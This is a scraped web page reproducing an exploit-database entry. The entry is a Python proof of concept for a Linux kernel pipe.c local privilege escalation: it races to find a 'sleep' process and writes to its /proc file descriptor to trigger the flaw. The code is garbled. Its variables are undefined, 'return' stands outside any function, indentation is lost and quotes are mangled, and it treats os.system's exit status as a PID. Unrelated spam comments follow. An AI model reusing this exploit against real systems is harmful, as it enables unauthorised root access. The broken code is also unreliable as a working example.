Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation
###############################
# EDB-ID: 9844
# CVE-ID: ()
# Title: Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation
# Author: Matthew Bergin
# Published: 2009-11-05
# Download Exploit Code
# Download N/A
###############################
# This is a PoC based off the PoC release by Earl Chew
# Linux Kernel ‘pipe.c’ Local Privilege Escalation Vulnerability
# PoC by Matthew Bergin
# Bugtraq ID: 36901
import os
import time
import random
#infinite loop
while (i == 0):
os.system(”sleep 1″)
while (x == 0):
time.sleep(random.random()) #random int 0.0-1.0
pid = str(os.system(”ps -efl | grep ’sleep 1′ | grep -v grep | { read PID REST ; echo $PID; }”))
if (pid == 0): #need an active pid, race condition applies
print “[+] Didnt grab PID, got: ” + pid + ” — Retrying…”
return
else:
print “[+] PID: ” + pid
loc = “echo n > /proc/” + pid + “/fd/1″
os.system(loc) # triggers the fault, runs via sh
Dear Author http://www.vul.kr !
I think, that you are mistaken. I can defend the position. Write to me in PM, we will discuss.
nice info ;P